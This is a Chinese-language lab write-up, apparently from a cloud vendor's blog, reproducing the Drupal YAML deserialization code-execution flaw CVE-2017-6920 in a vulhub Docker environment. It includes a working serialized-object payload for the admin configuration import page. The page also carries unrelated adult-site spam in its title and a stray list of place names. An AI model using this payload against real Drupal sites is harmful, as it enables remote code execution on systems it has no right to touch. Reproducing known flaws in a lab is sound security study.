中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

發布時間:2021-12-29 17:51:29 來源:億速云 閱讀:205 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由由內容管理系統和PHP開發框架共同構成,在GPL2.0及更新協議下發布。連續多年榮獲全球最佳CMS大獎,是基于PHP語言最著名的WEB應用程序。

2017年6月21日,Drupal官方發布了一個編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當所導致的一個遠程代碼執行漏洞。

漏洞影響范圍:   Drupal < 8.3.4

下面僅作漏洞復現記錄與實現,利用流程如下:

一、漏洞環境

本次演示環境采用vulhub搭建,執行以下命令搭建

cd /drupal/CVE-2017-6920/

docker-compose up -d

之后開啟了8080端口,訪問之后正常安裝即可,由于沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫

安裝完畢之后還需要安裝yaml擴展,首先執行docker ps查看容器id

之后執行docker exec -it a3df54b9def6 bash 進入容器命令行后依次執行以下命令

# 換鏡像源,默認帶vim編輯器,所以用cat換源,可以換成自己喜歡的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安裝依賴
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安裝yaml擴展
pecl install yaml
docker-php-ext-enable yaml.so
# 啟用 yaml.decode_php 否則無法復現成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重啟容器,CONTAINER換成自己的容器ID
docker restart CONTAINER

之后便可以開始復現漏洞了

漏洞鏈接: http://192.168.101.152:8080/

訪問之后如下圖,注意,復現該漏洞需要登錄管理員賬戶

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

二、漏洞復現

登錄一個管理賬戶

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

訪問鏈接http://192.168.101.152:8080/admin/config/development/configuration/single/import

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

之后Configuration type選擇為Simple configuration,Configuration name可以隨便填寫,Paste your configuration here中寫入poc:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

之后點擊左下角的Import按鈕便可以觸發漏洞

如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現

復現結束。

關于如何進行Drupal YAML 反序列化代碼執行漏洞CVE-2017-6920復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

武宁县| 高阳县| 江华| 漠河县| 武邑县| 焉耆| 错那县| 嘉峪关市| 彩票| 厦门市| 奇台县| 浦北县| 泰兴市| 扶绥县| 彭水| 廊坊市| 聊城市| 奇台县| 绥中县| 兰考县| 江川县| 商南县| 深水埗区| 东阳市| 建湖县| 无棣县| 湘乡市| 南乐县| 三明市| 黔江区| 庆云县| 绍兴县| 温宿县| 盐亭县| 松原市| 秦皇岛市| 扶风县| 余庆县| 辽源市| 栾城县| 南召县|